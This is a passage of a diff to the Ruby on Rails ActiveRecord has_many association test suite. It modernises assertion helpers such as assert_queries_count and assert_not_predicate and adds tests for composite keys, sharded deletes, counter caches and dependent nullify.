     company = companies(:first_firm)
-    new_client = assert_no_queries(ignore_none: false) { company.clients_of_firm.new("name" => "Another Client") }
-    assert !company.clients_of_firm.loaded?
+
+    new_client = assert_queries_count(0) { company.clients_of_firm.new("name" => "Another Client") }
+    assert_not_predicate company.clients_of_firm, :loaded?
 
     assert_equal "Another Client", new_client.name
-    assert !new_client.persisted?
+    assert_not_predicate new_client, :persisted?
     assert_equal new_client, company.clients_of_firm.last
   end
 
   def test_build
     company = companies(:first_firm)
-    new_client = assert_no_queries(ignore_none: false) { company.clients_of_firm.build("name" => "Another Client") }
-    assert !company.clients_of_firm.loaded?
+
+    new_client = assert_queries_count(0) { company.clients_of_firm.build("name" => "Another Client") }
+    assert_not_predicate company.clients_of_firm, :loaded?
 
     assert_equal "Another Client", new_client.name
-    assert !new_client.persisted?
+    assert_not_predicate new_client, :persisted?
     assert_equal new_client, company.clients_of_firm.last
   end
 
@@ -917,9 +1152,29 @@ def test_collection_size_after_building
 
   def test_collection_not_empty_after_building
     company = companies(:first_firm)
-    assert_predicate company.contracts, :empty?
+    assert_empty company.contracts
     company.contracts.build
-    assert_not_predicate company.contracts, :empty?
+    assert_not_empty company.contracts
+  end
+
+  def test_collection_size_with_dirty_target
+    post = posts(:thinking)
+    assert_equal [], post.reader_ids
+    assert_equal 0, post.readers.size
+    post.readers.reset
+    post.readers.build
+    assert_equal [nil], post.reader_ids
+    assert_equal 1, post.readers.size
+  end
+
+  def test_collection_empty_with_dirty_target
+    post = posts(:thinking)
+    assert_equal [], post.reader_ids
+    assert_empty post.readers
+    post.readers.reset
+    post.readers.build
+    assert_equal [nil], post.reader_ids
+    assert_not_empty post.readers
   end
 
   def test_collection_size_twice_for_regressions
@@ -936,23 +1191,23 @@ def test_collection_size_twice_for_regressions
 
   def test_build_many
     company = companies(:first_firm)
-    new_clients = assert_no_queries(ignore_none: false) { company.clients_of_firm.build([{ "name" => "Another Client" }, { "name" => "Another Client II" }]) }
+
+    new_clients = assert_queries_count(0) { company.clients_of_firm.build([{ "name" => "Another Client" }, { "name" => "Another Client II" }]) }
     assert_equal 2, new_clients.size
   end
 
   def test_build_followed_by_save_does_not_load_target
     companies(:first_firm).clients_of_firm.build("name" => "Another Client")
     assert companies(:first_firm).save
-    assert !companies(:first_firm).clients_of_firm.loaded?
+    assert_not_predicate companies(:first_firm).clients_of_firm, :loaded?
   end
 
   def test_build_without_loading_association
     first_topic = topics(:first)
-    Reply.column_names
 
     assert_equal 1, first_topic.replies.length
 
-    assert_no_queries do
+    assert_queries_count(0) do
       first_topic.replies.build(title: "Not saved", content: "Superstars")
       assert_equal 2, first_topic.replies.size
     end
@@ -962,17 +1217,19 @@ def test_build_without_loading_association
 
   def test_build_via_block
     company = companies(:first_firm)
-    new_client = assert_no_queries(ignore_none: false) { company.clients_of_firm.build { |client| client.name = "Another Client" } }
-    assert !company.clients_of_firm.loaded?
+
+    new_client = assert_queries_count(0) { company.clients_of_firm.build { |client| client.name = "Another Client" } }
+    assert_not_predicate company.clients_of_firm, :loaded?
 
     assert_equal "Another Client", new_client.name
-    assert !new_client.persisted?
+    assert_not_predicate new_client, :persisted?
     assert_equal new_client, company.clients_of_firm.last
   end
 
   def test_build_many_via_block
     company = companies(:first_firm)
-    new_clients = assert_no_queries(ignore_none: false) do
+
+    new_clients = assert_queries_count(0) do
       company.clients_of_firm.build([{ "name" => "Another Client" }, { "name" => "Another Client II" }]) do |client|
         client.name = "changed"
       end
@@ -985,13 +1242,11 @@ def test_build_many_via_block
 
   def test_create_without_loading_association
     first_firm = companies(:first_firm)
-    Firm.column_names
-    Client.column_names
 
     assert_equal 2, first_firm.clients_of_firm.size
     first_firm.clients_of_firm.reset
 
-    assert_queries(1) do
+    assert_queries_count(3) do
       first_firm.clients_of_firm.create(name: "Superstars")
     end
 
@@ -1004,7 +1259,7 @@ def test_create
     assert_predicate companies(:first_firm).clients_of_firm, :loaded?
 
     new_client = companies(:first_firm).clients_of_firm.create("name" => "Another Client")
-    assert new_client.persisted?
+    assert_predicate new_client, :persisted?
     assert_equal new_client, companies(:first_firm).clients_of_firm.last
     assert_equal new_client, companies(:first_firm).clients_of_firm.reload.last
   end
@@ -1017,7 +1272,7 @@ def test_create_many
   def test_create_followed_by_save_does_not_load_target
     companies(:first_firm).clients_of_firm.create("name" => "Another Client")
     assert companies(:first_firm).save
-    assert !companies(:first_firm).clients_of_firm.loaded?
+    assert_not_predicate companies(:first_firm).clients_of_firm, :loaded?
   end
 
   def test_deleting
@@ -1038,15 +1293,52 @@ def test_deleting_before_save
     assert_equal 0, new_firm.clients_of_firm.size
   end
 
+  def test_deleting_models_with_composite_keys
+    great_author = cpk_authors(:cpk_great_author)
+    books = great_author.books
+
+    assert_equal 2, books.size
+
+    great_author.books.delete(books.first)
+    great_author.reload
+
+    assert_equal 1, great_author.books.size
+  end
+
+  def test_sharded_deleting_models
+    blog_post = sharded_blog_posts(:great_post_blog_one)
+    comments = blog_post.delete_comments
+
+    assert_equal 3, comments.size
+
+    comments_to_delete = [comments.first, comments.second]
+
+    sql = capture_sql do
+      blog_post.delete_comments.delete(comments_to_delete)
+    end
+
+    blog_id = Regexp.escape(quote_table_name("sharded_comments.blog_id"))
+    id = Regexp.escape(quote_table_name("sharded_comments.id"))
+
+    query_constraints = /#{blog_id} = .* AND #{id} = .*/
+    expectation = /DELETE.*WHERE.* \(#{query_constraints} OR #{query_constraints}\)/
+
+    assert_match(expectation, sql.second)
+
+    blog_post.reload
+
+    assert_equal 1, blog_post.comments.size
+  end
+
   def test_has_many_without_counter_cache_option
     # Ship has a conventionally named `treasures_count` column, but the counter_cache
     # option is not given on the association.
-    ship = Ship.create(name: "Countless", treasures_count: 10)
+    ship = Ship.create!(name: "Countless", treasures_count: 10)
 
-    assert_not Ship.reflect_on_association(:treasures).has_cached_counter?
+    assert_not_predicate Ship.reflect_on_association(:treasures), :has_cached_counter?
 
     # Count should come from sql count() of treasures rather than treasures_count attribute
-    assert_equal ship.treasures.size, 0
+    assert_equal 0, ship.treasures.size
 
     assert_no_difference lambda { ship.reload.treasures_count }, "treasures_count should not be changed" do
       ship.treasures.create(name: "Gold")
@@ -1096,6 +1388,55 @@ def test_counter_cache_updates_in_memory_after_create_with_array
     assert_equal 2, topic.reload.replies.size
   end
 
+  def test_counter_cache_updates_in_memory_after_update_with_inverse_of_disabled
+    topic = Topic.create!(title: "Zoom-zoom-zoom")
+
+    assert_equal 0, topic.replies_count
+
+    reply1 = Reply.create!(title: "re: zoom", content: "speedy quick!")
+    reply2 = Reply.create!(title: "re: zoom 2", content: "OMG lol!")
+
+    assert_queries_count(6) do
+      topic.replies << [reply1, reply2]
+    end
+
+    assert_equal 2, topic.replies_count
+    assert_equal 2, topic.reload.replies_count
+  end
+
+  def test_counter_cache_updates_in_memory_after_create_with_overlapping_counter_cache_columns
+    user = UserCommentsCount.create!
+    post = PostCommentsCount.create!
+
+    assert_difference "user.comments_count", +1 do
+      assert_no_difference "post.comments_count" do
+        post.comments << CommentOverlappingCounterCache.create!(user_comments_count: user)
+      end
+    end
+
+    assert_difference "user.comments_count", +1 do
+      assert_no_difference "post.comments_count" do
+        user.comments << CommentOverlappingCounterCache.create!(post_comments_count: post)
+      end
+    end
+  end
+
+  def test_counter_cache_updates_in_memory_after_update_with_inverse_of_enabled
+    category = Category.create!(name: "Counter Cache")
+
+    assert_nil category.categorizations_count
+
+    categorization1 = Categorization.create!
+    categorization2 = Categorization.create!
+
+    assert_queries_count(6) do
+      category.categorizations << [categorization1, categorization2]
+    end
+
+    assert_equal 2, category.categorizations_count
+    assert_equal 2, category.reload.categorizations_count
+  end
+
   def test_pushing_association_updates_counter_cache
     topic = Topic.order("id ASC").first
     reply = Reply.create!
@@ -1133,8 +1474,8 @@ def test_deleting_updates_counter_cache_with_dependent_destroy
 
   def test_calling_empty_with_counter_cache
     post = posts(:welcome)
-    assert_queries(0) do
-      assert_not post.comments.empty?
+    assert_no_queries do
+      assert_not_empty post.comments
     end
   end
 
@@ -1146,20 +1487,20 @@ def test_custom_named_counter_cache
     end
   end
 
-  def test_calling_update_attributes_on_id_changes_the_counter_cache
+  def test_calling_update_on_id_changes_the_counter_cache
     topic = Topic.order("id ASC").first
     original_count = topic.replies.to_a.size
     assert_equal original_count, topic.replies_count
 
     first_reply = topic.replies.first
-    first_reply.update_attributes(parent_id: nil)
+    first_reply.update(parent_id: nil)
     assert_equal original_count - 1, topic.reload.replies_count
 
-    first_reply.update_attributes(parent_id: topic.id)
+    first_reply.update(parent_id: topic.id)
     assert_equal original_count, topic.reload.replies_count
   end
 
-  def test_calling_update_attributes_changing_ids_doesnt_change_counter_cache
+  def test_calling_update_changing_ids_changes_the_counter_cache
     topic1 = Topic.find(1)
     topic2 = Topic.find(3)
     original_count1 = topic1.replies.to_a.size
@@ -1168,15 +1509,33 @@ def test_calling_update_attributes_changing_ids_doesnt_change_counter_cache
     reply1 = topic1.replies.first
     reply2 = topic2.replies.first
 
-    reply1.update_attributes(parent_id: topic2.id)
+    reply1.update(parent_id: topic2.id)
     assert_equal original_count1 - 1, topic1.reload.replies_count
     assert_equal original_count2 + 1, topic2.reload.replies_count
 
-    reply2.update_attributes(parent_id: topic1.id)
+    reply2.update(parent_id: topic1.id)
     assert_equal original_count1, topic1.reload.replies_count
     assert_equal original_count2, topic2.reload.replies_count
   end
 
+  def test_calling_update_changing_ids_of_inversed_association_changes_the_counter_cache
+    assert_predicate Post.reflect_on_association(:comments), :has_inverse?
+
+    post1 = Post.first
+    post2 = Post.second
+
+    original_count1 = post1.comments.count
+    original_count2 = post2.comments.count
+
+    post1.comments.first.update(post_id: post2.id)
+    assert_equal original_count1 - 1, post1.reload.comments_count
+    assert_equal original_count2 + 1, post2.reload.comments_count
+
+    post2.comments.first.update(post_id: post1.id)
+    assert_equal original_count1, post1.reload.comments_count
+    assert_equal original_count2, post2.reload.comments_count
+  end
+
   def test_deleting_a_collection
     force_signal37_to_load_all_clients_of_firm
 
@@ -1199,7 +1558,7 @@ def test_delete_all
     assert_equal 3, clients.count
 
     assert_difference "Client.count", -(clients.count) do
-      companies(:first_firm).dependent_clients_of_firm.delete_all
+      assert_equal clients.count, companies(:first_firm).dependent_clients_of_firm.delete_all
     end
   end
 
@@ -1231,8 +1590,8 @@ def test_transaction_when_deleting_persisted
   end
 
   def test_transaction_when_deleting_new_record
-    assert_no_queries(ignore_none: false) do
-      firm = Firm.new
+    firm = Firm.new
+    assert_queries_count(0) do
       client = Client.new("name" => "New Client")
       firm.clients_of_firm << client
       firm.clients_of_firm.destroy(client)
@@ -1293,10 +1652,20 @@ def test_clearing_a_dependent_association_collection
   def test_delete_all_with_option_delete_all
     firm = companies(:first_firm)
     client_id = firm.dependent_clients_of_firm.first.id
-    firm.dependent_clients_of_firm.delete_all(:delete_all)
+    count = firm.dependent_clients_of_firm.count
+    assert_equal count, firm.dependent_clients_of_firm.delete_all(:delete_all)
     assert_nil Client.find_by_id(client_id)
   end
 
+  def test_delete_all_with_option_nullify
+    firm = companies(:first_firm)
+    client_id = firm.dependent_clients_of_firm.first.id
+    count = firm.dependent_clients_of_firm.count
+    assert_equal firm, Client.find(client_id).firm
+    assert_equal count, firm.dependent_clients_of_firm.delete_all(:nullify)
+    assert_nil Client.find(client_id).firm
+  end
+
   def test_delete_all_accepts_limited_parameters
     firm = companies(:first_firm)
     assert_raise(ArgumentError) do
@@ -1354,7 +1723,7 @@ def test_dependent_association_respects_optional_hash_conditions_on_delete
     Client.create(client_of: firm.id, name: "SmallTime Inc.")
     # only one of two clients is included in the association due to the :conditions key
     assert_equal 2, Client.where(client_of: firm.id).size
-    assert_equal 1, firm.dependent_sanitized_conditional_clients_of_firm.size
+    assert_equal 1, firm.dependent_hash_conditional_clients_of_firm.size
     firm.destroy
     # only the correctly associated client should have been deleted
     assert_equal 1, Client.where(client_of: firm.id).size
@@ -1376,13 +1745,13 @@ def test_delete_all_association_with_primary_key_deletes_correct_records
   def test_creation_respects_hash_condition
     ms_client = companies(:first_firm).clients_like_ms_with_hash_conditions.build
 
-    assert        ms_client.save
-    assert_equal  "Microsoft", ms_client.name
+    assert ms_client.save
+    assert_equal "Microsoft", ms_client.name
 
     another_ms_client = companies(:first_firm).clients_like_ms_with_hash_conditions.create
 
-    assert        another_ms_client.persisted?
-    assert_equal  "Microsoft", another_ms_client.name
+    assert_predicate another_ms_client, :persisted?
+    assert_equal "Microsoft", another_ms_client.name
   end
 
   def test_clearing_without_initial_access
@@ -1493,19 +1862,51 @@ def test_destroy_all
     assert_predicate companies(:first_firm).clients_of_firm, :loaded?
 
     clients = companies(:first_firm).clients_of_firm.to_a
-    assert !clients.empty?, "37signals has clients after load"
+    assert_not clients.empty?, "37signals has clients after load"
     destroyed = companies(:first_firm).clients_of_firm.destroy_all
     assert_equal clients.sort_by(&:id), destroyed.sort_by(&:id)
     assert destroyed.all?(&:frozen?), "destroyed clients should be frozen"
-    assert companies(:first_firm).clients_of_firm.empty?, "37signals has no clients after destroy all"
-    assert companies(:first_firm).clients_of_firm.reload.empty?, "37signals has no clients after destroy all and refresh"
+    assert_predicate companies(:first_firm).clients_of_firm, :empty?, "37signals has no clients after destroy all"
+    assert_predicate companies(:first_firm).clients_of_firm.reload, :empty?, "37signals has no clients after destroy all and refresh"
+  end
+
+  def test_destroy_all_on_association_clears_scope
+    author = Author.create!(name: "Gannon")
+    posts = author.posts
+    posts.create!(title: "test", body: "body")
+    posts.destroy_all
+    assert_nil posts.first
+  end
+
+  def test_destroy_all_on_desynced_counter_cache_association
+    category = categories(:general)
+    assert_operator category.categorizations.count, :>, 0
+
+    category.categorizations.destroy_all
+    assert_equal 0, category.categorizations.count
+  end
+
+  def test_destroy_on_association_clears_scope
+    author = Author.create!(name: "Gannon")
+    posts = author.posts
+    post = posts.create!(title: "test", body: "body")
+    posts.destroy(post)
+    assert_nil posts.first
+  end
+
+  def test_delete_on_association_clears_scope
+    author = Author.create!(name: "Gannon")
+    posts = author.posts
+    post = posts.create!(title: "test", body: "body")
+    posts.delete(post)
+    assert_nil posts.first
   end
 
   def test_dependence
     firm = companies(:first_firm)
     assert_equal 3, firm.clients.size
     firm.destroy
-    assert Client.all.merge!(where: "firm_id=#{firm.id}").to_a.empty?
+    assert_empty Client.all.merge!(where: "firm_id=#{firm.id}").to_a
   end
 
   def test_dependence_for_associations_with_hash_condition
@@ -1514,8 +1915,7 @@ def test_dependence_for_associations_with_hash_condition
   end
 
   def test_destroy_dependent_when_deleted_from_association
-    # sometimes tests on Oracle fail if ORDER BY is not provided therefore add always :order with :first
-    firm = Firm.all.merge!(order: "id").first
+    firm = Firm.first
     assert_equal 3, firm.clients.size
 
     client = firm.clients.first
@@ -1556,7 +1956,7 @@ def test_depends_and_nullify
 
     core = companies(:rails_core)
     assert_equal accounts(:rails_core_account), core.account
-    assert_equal companies(:leetsoft, :jadedpixel), core.companies
+    assert_equal companies(:leetsoft, :jadedpixel).sort_by(&:id), core.companies.sort_by(&:id)
     core.destroy
     assert_nil accounts(:rails_core_account).reload.firm_id
     assert_nil companies(:leetsoft).reload.client_of
@@ -1565,11 +1965,27 @@ def test_depends_and_nullify
     assert_equal num_accounts, Account.count
   end
 
+  def test_depends_and_nullify_on_polymorphic_assoc
+    author = PersonWithPolymorphicDependentNullifyComments.create!(first_name: "Laertis")
+    comment = posts(:welcome).comments.first
+    comment.author = author
+    comment.save!
+
+    assert_equal comment.author_id, author.id
+    assert_equal comment.author_type, author.class.name
+
+    author.destroy
+    comment.reload
+
+    assert_nil comment.author_id
+    assert_nil comment.author_type
+  end
+
   def test_restrict_with_exception
     firm = RestrictedWithExceptionFirm.create!(name: "restrict")
     firm.companies.create(name: "child")
 
-    assert !firm.companies.empty?
+    assert_not_empty firm.companies
     assert_raise(ActiveRecord::DeleteRestrictionError) { firm.destroy }
     assert RestrictedWithExceptionFirm.exists?(name: "restrict")
     assert firm.companies.exists?(name: "child")
@@ -1579,11 +1995,11 @@ def test_restrict_with_error
     firm = RestrictedWithErrorFirm.create!(name: "restrict")
     firm.companies.create(name: "child")
 
-    assert !firm.companies.empty?
+    assert_not_empty firm.companies
 
     firm.destroy
 
-    assert !firm.errors.empty?
+    assert_not_empty firm.errors
 
     assert_equal "Cannot delete record because dependent companies exist", firm.errors[:base].first
     assert RestrictedWithErrorFirm.exists?(name: "restrict")
@@ -1596,11 +2012,11 @@ def test_restrict_with_error_with_locale
     firm = RestrictedWithErrorFirm.create!(name: "restrict")
     firm.companies.create(name: "child")
 
-    assert !firm.companies.empty?
+    assert_not_empty firm.companies
 
     firm.destroy
 
-    assert !firm.errors.empty?
+    assert_not_empty firm.errors
 
     assert_equal "Cannot delete record because dependent client companies exist", firm.errors[:base].first
     assert RestrictedWithErrorFirm.exists?(name: "restrict")
@@ -1613,6 +2029,13 @@ def test_included_in_collection
     assert_equal true, companies(:first_firm).clients.include?(Client.find(2))
   end
 
+  def test_included_in_collection_for_composite_keys
+    great_author = cpk_authors(:cpk_great_author)
+    book = great_author.books.first
+
+    assert great_author.books.include?(book)
+  end
+
   def test_included_in_collection_for_new_records
     client = Client.create(name: "Persisted")
     assert_nil client.client_of
@@ -1625,7 +2048,7 @@ def test_adding_array_and_collection
   end
 
   def test_replace_with_less
-    firm = Firm.all.merge!(order: "id").first
+    firm = Firm.first
     firm.clients = [companies(:first_client)]
     assert firm.save, "Could not save firm"
     firm.reload
@@ -1639,7 +2062,7 @@ def test_replace_with_less_and_dependent_nullify
   end
 
   def test_replace_with_new
-    firm = Firm.all.merge!(order: "id").first
+    firm = Firm.first
     firm.clients = [companies(:second_client), Client.new("name" => "New Client")]
     firm.save
     firm.reload
@@ -1652,8 +2075,8 @@ def test_replace_failure
     account = Account.new
     orig_accounts = firm.accounts.to_a
 
-    assert !account.valid?
-    assert !orig_accounts.empty?
+    assert_not_predicate account, :valid?
+    assert_not_empty orig_accounts
     error = assert_raise ActiveRecord::RecordNotSaved do
       firm.accounts = [account]
     end
@@ -1668,11 +2091,11 @@ def test_replace_with_same_content
     firm.clients = []
     firm.save
 
-    assert_queries(0, ignore_none: true) do
+    assert_no_queries do
       firm.clients = []
     end
 
-    assert_equal [], firm.send("clients=", [])
+    assert_equal [], firm.public_send("clients=", [])
   end
 
   def test_transactions_when_replacing_on_persisted
@@ -1690,8 +2113,8 @@ def test_transactions_when_replacing_on_persisted
   end
 
   def test_transactions_when_replacing_on_new_record
-    assert_no_queries(ignore_none: false) do
-      firm = Firm.new
+    firm = Firm.new
+    assert_queries_count(0) do
       firm.clients_of_firm = [Client.new("name" => "New Client")]
     end
   end
@@ -1703,7 +2126,7 @@ def test_get_ids
   def test_get_ids_for_loaded_associations
     company = companies(:first_firm)
     company.clients.reload
-    assert_queries(0) do
+    assert_no_queries do
       company.client_ids
       company.client_ids
     end
@@ -1711,14 +2134,29 @@ def test_get_ids_for_loaded_associations
 
   def test_get_ids_for_unloaded_associations_does_not_load_them
     company = companies(:first_firm)
-    assert !company.clients.loaded?
+    assert_not_predicate company.clients, :loaded?
     assert_equal [companies(:first_client).id, companies(:second_client).id, companies(:another_first_firm_client).id], company.client_ids
-    assert !company.clients.loaded?
+    assert_not_predicate company.clients, :loaded?
   end
 
   def test_counter_cache_on_unloaded_association
     car = Car.create(name: "My AppliCar")
-    assert_equal car.engines.size, 0
+    assert_equal 0, car.engines.size
+  end
+
+  def test_ids_reader_cache_not_used_for_size_when_association_is_dirty
+    firm = Firm.create!(name: "Startup")
+    assert_equal 0, firm.client_ids.size
+    firm.clients.build
+    assert_equal 1, firm.clients.size
+  end
+
+  def test_ids_reader_cache_should_be_cleared_when_collection_is_deleted
+    firm = companies(:first_firm)
+    assert_equal [2, 3, 11], firm.client_ids
+    client = firm.clients.first
+    firm.clients.delete(client)
+    assert_equal [3, 11], firm.client_ids
   end
 
   def test_get_ids_ignores_include_option
@@ -1730,11 +2168,8 @@ def test_get_ids_for_ordered_association
   end
 
   def test_get_ids_for_association_on_new_record_does_not_try_to_find_records
-    Company.columns  # Load schema information so we don't query below
-    Contract.columns # if running just this test.
-
     company = Company.new
-    assert_queries(0) do
+    assert_queries_count(0) do
       company.contract_ids
     end
 
@@ -1778,14 +2213,23 @@ def test_modifying_a_through_a_has_many_should_raise
     ].each { |block| assert_raise(ActiveRecord::HasManyThroughCantAssociateThroughHasOneOrManyReflection, &block) }
   end
 
+  def test_associations_order_should_be_priority_over_throughs_order
+    original = authors(:david)
+    expected = [13, 12, 10, 9, 8, 7, 6, 5, 3, 2, 1]
+    assert_equal expected, original.comments_desc.map(&:id)
+    preloaded = Author.includes(:comments_desc).find(original.id)
+    assert_equal expected, preloaded.comments_desc.map(&:id)
+    assert_equal original.posts_sorted_by_id.first.comments.map(&:id), preloaded.posts_sorted_by_id.first.comments.map(&:id)
+  end
+
   def test_dynamic_find_should_respect_association_order_for_through
     assert_equal Comment.find(10), authors(:david).comments_desc.where("comments.type = 'SpecialComment'").first
     assert_equal Comment.find(10), authors(:david).comments_desc.find_by_type("SpecialComment")
   end
 
   def test_has_many_through_respects_hash_conditions
-    assert_equal authors(:david).hello_posts, authors(:david).hello_posts_with_hash_conditions
-    assert_equal authors(:david).hello_post_comments, authors(:david).hello_post_comments_with_hash_conditions
+    assert_equal authors(:david).hello_posts.sort_by(&:id), authors(:david).hello_posts_with_hash_conditions.sort_by(&:id)
+    assert_equal authors(:david).hello_post_comments.sort_by(&:id), authors(:david).hello_post_comments_with_hash_conditions.sort_by(&:id)
   end
 
   def test_include_uses_array_include_after_loaded
@@ -1795,7 +2239,7 @@ def test_include_uses_array_include_after_loaded
     client = firm.clients.first
 
     assert_no_queries do
-      assert firm.clients.loaded?
+      assert_predicate firm.clients, :loaded?
       assert_equal true, firm.clients.include?(client)
     end
   end
@@ -1805,18 +2249,18 @@ def test_include_checks_if_record_exists_if_target_not_loaded
     client = firm.clients.first
 
     firm.reload
-    assert ! firm.clients.loaded?
-    assert_queries(1) do
+    assert_not_predicate firm.clients, :loaded?
+    assert_queries_count(1) do
       assert_equal true, firm.clients.include?(client)
     end
-    assert ! firm.clients.loaded?
+    assert_not_predicate firm.clients, :loaded?
   end
 
   def test_include_returns_false_for_non_matching_record_to_verify_scoping
     firm = companies(:first_firm)
     client = Client.create!(name: "Not Associated")
 
-    assert ! firm.clients.loaded?
+    assert_not_predicate firm.clients, :loaded?
     assert_equal false, firm.clients.include?(client)
   end
 
@@ -1825,15 +2269,15 @@ def test_calling_first_nth_or_last_on_association_should_not_load_association
     firm.clients.first
     firm.clients.second
     firm.clients.last
-    assert !firm.clients.loaded?
+    assert_not_predicate firm.clients, :loaded?
   end
 
   def test_calling_first_or_last_on_loaded_association_should_not_fetch_with_query
     firm = companies(:first_firm)
     firm.clients.load_target
-    assert firm.clients.loaded?
+    assert_predicate firm.clients, :loaded?
 
-    assert_no_queries(ignore_none: false) do
+    assert_no_queries do
       firm.clients.first
       assert_equal 2, firm.clients.first(2).size
       firm.clients.last
@@ -1841,32 +2285,50 @@ def test_calling_first_or_last_on_loaded_association_should_not_fetch_with_query
     end
   end
 
-  def test_calling_first_or_last_on_existing_record_with_build_should_load_association
+  def test_calling_first_nth_or_last_on_existing_record_with_build_should_load_association
     firm = companies(:first_firm)
     firm.clients.build(name: "Foo")
-    assert !firm.clients.loaded?
+    assert_not_predicate firm.clients, :loaded?
 
-    assert_queries 1 do
+    assert_queries_count 1 do
       firm.clients.first
       firm.clients.second
       firm.clients.last
     end
 
-    assert firm.clients.loaded?
+    assert_predicate firm.clients, :loaded?
+
+    author = Author.create!(name: "Carl")
+    third  = topics(:third)
+    fourth = topics(:fourth).becomes(Topic)
+
+    new_topic = author.topics_without_type.build
+
+    assert_not_predicate author.topics_without_type, :loaded?
+
+    assert_queries_count(1) do
+      if current_adapter?(:Mysql2Adapter, :TrilogyAdapter, :SQLite3Adapter)
+        assert_equal fourth, author.topics_without_type.first
+        assert_equal third, author.topics_without_type.second
+      end
+      assert_equal new_topic, author.topics_without_type.last
+    end
+
+    assert_predicate author.topics_without_type, :loaded?
   end
 
   def test_calling_first_nth_or_last_on_existing_record_with_create_should_not_load_association
     firm = companies(:first_firm)
     firm.clients.create(name: "Foo")
-    assert !firm.clients.loaded?
+    assert_not_predicate firm.clients, :loaded?
 
-    assert_queries 3 do
+    assert_queries_count 3 do
       firm.clients.first
       firm.clients.second
       firm.clients.last
     end
 
-    assert !firm.clients.loaded?
+    assert_not_predicate firm.clients, :loaded?
   end
 
   def test_calling_first_nth_or_last_on_new_record_should_not_run_queries
@@ -1882,128 +2344,147 @@ def test_calling_first_nth_or_last_on_new_record_should_not_run_queries
   def test_calling_first_or_last_with_integer_on_association_should_not_load_association
     firm = companies(:first_firm)
     firm.clients.create(name: "Foo")
-    assert !firm.clients.loaded?
+    assert_not_predicate firm.clients, :loaded?
 
-    assert_queries 2 do
+    assert_queries_count 2 do
       firm.clients.first(2)
       firm.clients.last(2)
     end
 
-    assert !firm.clients.loaded?
+    assert_not_predicate firm.clients, :loaded?
   end
 
   def test_calling_many_should_count_instead_of_loading_association
     firm = companies(:first_firm)
-    assert_queries(1) do
+    assert_queries_count(1) do
       firm.clients.many?  # use count query
     end
-    assert !firm.clients.loaded?
+    assert_not_predicate firm.clients, :loaded?
   end
 
   def test_calling_many_on_loaded_association_should_not_use_query
     firm = companies(:first_firm)
-    firm.clients.collect  # force load
-    assert_no_queries { assert firm.clients.many? }
+    firm.clients.load  # force load
+    assert_no_queries { assert_predicate firm.clients, :many? }
+  end
+
+  def test_subsequent_calls_to_many_should_use_query
+    firm = companies(:first_firm)
+    assert_queries_count(2) do
+      firm.clients.many?
+      firm.clients.many?
+    end
   end
 
   def test_calling_many_should_defer_to_collection_if_using_a_block
     firm = companies(:first_firm)
-    assert_queries(1) do
-      firm.clients.expects(:size).never
-      firm.clients.many? { true }
+    assert_queries_count(1) do
+      assert_not_called(firm.clients, :size) do
+        firm.clients.many? { true }
+      end
     end
-    assert firm.clients.loaded?
+    assert_predicate firm.clients, :loaded?
   end
 
   def test_calling_many_should_return_false_if_none_or_one
     firm = companies(:another_firm)
-    assert !firm.clients_like_ms.many?
+    assert_not_predicate firm.clients_like_ms, :many?
     assert_equal 0, firm.clients_like_ms.size
 
     firm = companies(:first_firm)
-    assert !firm.limited_clients.many?
+    assert_not_predicate firm.limited_clients, :many?
     assert_equal 1, firm.limited_clients.size
   end
 
   def test_calling_many_should_return_true_if_more_than_one
     firm = companies(:first_firm)
-    assert firm.clients.many?
+    assert_predicate firm.clients, :many?
     assert_equal 3, firm.clients.size
   end
 
   def test_calling_none_should_count_instead_of_loading_association
     firm = companies(:first_firm)
-    assert_queries(1) do
+    assert_queries_count(1) do
       firm.clients.none?  # use count query
     end
-    assert !firm.clients.loaded?
+    assert_not_predicate firm.clients, :loaded?
   end
 
   def test_calling_none_on_loaded_association_should_not_use_query
     firm = companies(:first_firm)
-    firm.clients.collect  # force load
-    assert_no_queries { assert ! firm.clients.none? }
+    firm.clients.load  # force load
+    assert_no_queries { assert_not firm.clients.none? }
   end
 
   def test_calling_none_should_defer_to_collection_if_using_a_block
     firm = companies(:first_firm)
-    assert_queries(1) do
-      firm.clients.expects(:size).never
-      firm.clients.none? { true }
+    assert_queries_count(1) do
+      assert_not_called(firm.clients, :size) do
+        firm.clients.none? { true }
+      end
     end
-    assert firm.clients.loaded?
+    assert_predicate firm.clients, :loaded?
   end
 
   def test_calling_none_should_return_true_if_none
     firm = companies(:another_firm)
-    assert firm.clients_like_ms.none?
+    assert_predicate firm.clients_like_ms, :none?
     assert_equal 0, firm.clients_like_ms.size
   end
 
   def test_calling_none_should_return_false_if_any
     firm = companies(:first_firm)
-    assert !firm.limited_clients.none?
+    assert_not_predicate firm.limited_clients, :none?
     assert_equal 1, firm.limited_clients.size
   end
 
   def test_calling_one_should_count_instead_of_loading_association
     firm = companies(:first_firm)
-    assert_queries(1) do
+    assert_queries_count(1) do
       firm.clients.one?  # use count query
     end
-    assert !firm.clients.loaded?
+    assert_not_predicate firm.clients, :loaded?
   end
 
   def test_calling_one_on_loaded_association_should_not_use_query
     firm = companies(:first_firm)
-    firm.clients.collect  # force load
-    assert_no_queries { assert ! firm.clients.one? }
+    firm.clients.load  # force load
+    assert_no_queries { assert_not firm.clients.one? }
+  end
+
+  def test_subsequent_calls_to_one_should_use_query
+    firm = companies(:first_firm)
+    assert_queries_count(2) do
+      firm.clients.one?
+      firm.clients.one?
+    end
   end
 
   def test_calling_one_should_defer_to_collection_if_using_a_block
     firm = companies(:first_firm)
-    assert_queries(1) do
-      firm.clients.expects(:size).never
-      firm.clients.one? { true }
+    assert_queries_count(1) do
+      assert_not_called(firm.clients, :size) do
+        firm.clients.one? { true }
+      end
     end
-    assert firm.clients.loaded?
+    assert_predicate firm.clients, :loaded?
   end
 
   def test_calling_one_should_return_false_if_zero
     firm = companies(:another_firm)
-    assert ! firm.clients_like_ms.one?
+    assert_not_predicate firm.clients_like_ms, :one?
     assert_equal 0, firm.clients_like_ms.size
   end
 
   def test_calling_one_should_return_true_if_one
     firm = companies(:first_firm)
-    assert firm.limited_clients.one?
+    assert_predicate firm.limited_clients, :one?
     assert_equal 1, firm.limited_clients.size
   end
 
   def test_calling_one_should_return_false_if_more_than_one
     firm = companies(:first_firm)
-    assert ! firm.clients.one?
+    assert_not_predicate firm.clients, :one?
     assert_equal 3, firm.clients.size
   end
 
@@ -2025,9 +2506,10 @@ def test_joins_with_namespaced_model_should_use_correct_type
   end
 
   def test_association_proxy_transaction_method_starts_transaction_in_association_class
-    Comment.expects(:transaction)
-    Post.first.comments.transaction do
-      # nothing
+    assert_called(Comment, :transaction) do
+      Post.first.comments.transaction do
+        # nothing
+      end
     end
   end
 
